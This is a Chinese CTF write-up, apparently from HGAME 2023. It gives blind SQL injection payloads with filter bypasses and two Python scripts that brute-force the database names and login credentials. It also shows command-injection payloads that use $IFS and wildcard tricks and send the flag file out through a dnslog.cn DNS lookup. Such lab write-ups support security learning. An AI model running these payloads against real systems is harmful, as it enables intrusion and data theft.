Login To Get My Gift
由于登入界面只有成功与失败两种情况,所以此时我们可以考虑使用盲注的方法进行一个注入攻击;这个判断方法我在之前的博客中也有写到过
经过fuzz测试后发现黑名单中含有我们盲注重要的关键词substr和length和=和like和空格和mid但是往下看可以发现right()和left()并没有被过滤;此时可以利用这一点帮助我们进行替换substr()
LEFT、RIGHT 函数返回 ARG 最左边、右边的 LENGTH 个字符串,ARG 可以是 CHAR 或 BINARY STRING。
所以此时我们原本的定位语句为substr(database(),m,n)此时可以替换为right(left(database(),m),n);然后我们利用bp
帮助我们进行一个半自动化爆破;此时发现数据库的第一个字符为L
payload:1’//or//ascii(right(left(database(),1),1))>x#
因为过程过于繁琐;最后得出本地数据库的名字为:L0g1NMe
接下来爆表名,因为=和like无法使用所以此时使用in来代替但是此时需要将数据库名转换为十六进制才行;如法炮制
payload:1’//or//ascii(right(left((select//group_concat(table_name)//from//information_schem
a.tables//where//table_schema//in(0x4c3067314e4d65)),1),1))>x#
最后爆出来的表名为:Uter1nf0mAt1on
接下来爆列名过程与上面一样;最后得出列名为:id,PAssw0rD,UsErN4me
payload:1’//or//ascii(right(left((select//group_concat(column_name)//from//information_schema.columns//where//table_name//in(0x55736572316e66306d4174316f6e)),1),1))>x#
查账号:hgAmE2023HAppYnEwyEAr 查密码:WeLc0meT0hgAmE2023hAPPySql
payload:1’//or//ascii(right(left((select//UsErN4me//from//User1nf0mAt1on//limit/**/1),1),1))>x#
因为不会写脚本导致解题的速度很慢且很枯燥;这里贴一下wp中的脚本吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| import requests import time url = "http://127.0.0.1:10003/login" i = 0 flag = '' while True: i += 1 begin = 32 end = 126 tmp = (begin + end) // 2 #tmp=79,中位数 while begin < end: #print(begin, tmp, end) time.sleep(0.1) #payload1="1'/**/or/**/ascii(right(left(database(),{}),1))> {}#".format(i,tmp) 16 #payload2="1'/**/or/**/ascii(right(left((select/**/group_concat(table_name)/**/ from/**/information_schema.tables/**/where/**/table_schema/**/in(0x4c3067314e4d 65)),{}),1))>{}#".format(i,tmp) 17 #payload3="1'/**/or/**/ascii(right(left((select/**/group_concat(column_name)/** /from/**/information_schema.columns/**/where/**/table_name/**/in(0x55736572316e 66306d4174316f6e)),{}),1))>{}#".format(i,tmp) 18 #payload4="1'/**/or/**/ascii(right(left((select/**/UsErN4me/**/from/**/User1nf0 mAt1on/**/limit/**/1),{}),1))>{}#".format(i,tmp) 19 payload5="1'/**/or/**/ascii(right(left((select/**/PAssw0rD/**/from/**/User1nf0m At1on/**/limit/**/1),{}),1))>{}#".format(i,tmp) 20 data={ 'username':111, 'password':payload5} r = requests.post(url,data=data) #print(r.text) if 'Success!' in r.text: begin = tmp + 1 #begin = tmp tmp = (begin + end) // 2 else: end = tmp tmp = (begin + end) // 2
if (chr(tmp) == " "): break flag += chr(tmp) print(flag)
|
因为这个脚本我好像运行不了就模仿写了一个(现在官方wp可以使用惹)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| import requests import time
url = "http://week-3.hgame.lwsec.cn:31638/login"
result = "" i = 0
while (True): i = i + 1 low = 32 high = 127
while (low < high): mid = (low + high) // 2
payload = "0'/**/or/**/ascii(right(left(database(),%d),1))>%d#" % (i, mid) #payload = "0'/**/or/**/ascii(right(left((select(group_concat(table_name))from(information_schema.tables)where(table_schema/**/in(database()))),%d),1))>%d#" % (i, mid) #payload = "0'/**/or/**/ascii(right(left((select(group_concat(column_name))from(information_schema.columns)where(table_name/**/in('User1nf0mAt1on'))),%d),1))>%d#" % (i, mid) #payload = "0'/**/or/**/ascii(right(left((select(group_concat(PAssw0rD))from(User1nf0mAt1on)),%d),1))>%d#" % (i, mid)
data={ 'username':'test', 'password':payload, }
r = requests.post(url=url,data=data) time.sleep(0.5) r.encoding = "utf-8" # print(url+payload) if "Succes" in r.text: low = mid + 1 else: #print(r.text) high = mid
last = result if low != 32: result += chr(low) else: break print(result)
|
此时可以运行;以后如果发现为盲注的题目;我们需要进行编写脚本;不然使用bp进行辅助的话效率十分的
Ping To The Host
由于界面只有success和failed;并没有其他的回显通过之前做过的题目知道我们需要进行反弹shell进行一个获取flag
此时经过测试过滤了;cat,tac,echo,flag,空格此时cat我们可以使用ca\t或者nl进行绕过;flag我们可以进行模糊匹配fl*
空格可以使用$IFS进行绕过;此时的重点是如何将信息外带出来可以使用该网站http://www.dnslog.cn/
经过测试发现逗号也被过滤;所以只能一行一行的查看
1
| payload:`ls$IFS/|sed$IFS-n$IFS"1p"`m0kw7s.dnslog.cn
|
发现flag后我们进行读取
1 2
| payload1:`c\at${IFS}/fl**`.m0kw7s.dnslog.cn payload2:`nl$IFS/fl*`.m0kw7s.dnslog.cn
|
Tunnel
因为提示附件有问题;直接打开记事本查找flag